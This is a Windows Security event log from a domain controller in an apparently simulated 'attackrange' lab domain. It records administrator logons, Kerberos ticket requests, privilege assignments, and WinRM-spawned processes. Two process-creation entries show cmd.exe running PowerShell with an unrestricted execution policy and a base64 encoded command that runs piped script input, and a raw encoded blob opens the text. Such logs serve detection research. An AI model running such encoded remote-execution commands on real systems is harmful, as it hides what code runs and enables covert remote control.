JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251638 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13D166 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251637 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13D166 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251636 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251635 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251634 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251633 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x124c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251632 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251631 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13CF50 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251630 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13CF50 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251629 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251628 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251627 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251626 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13CF34 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251625 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13CF34 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251624 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13CF34 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251623 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - 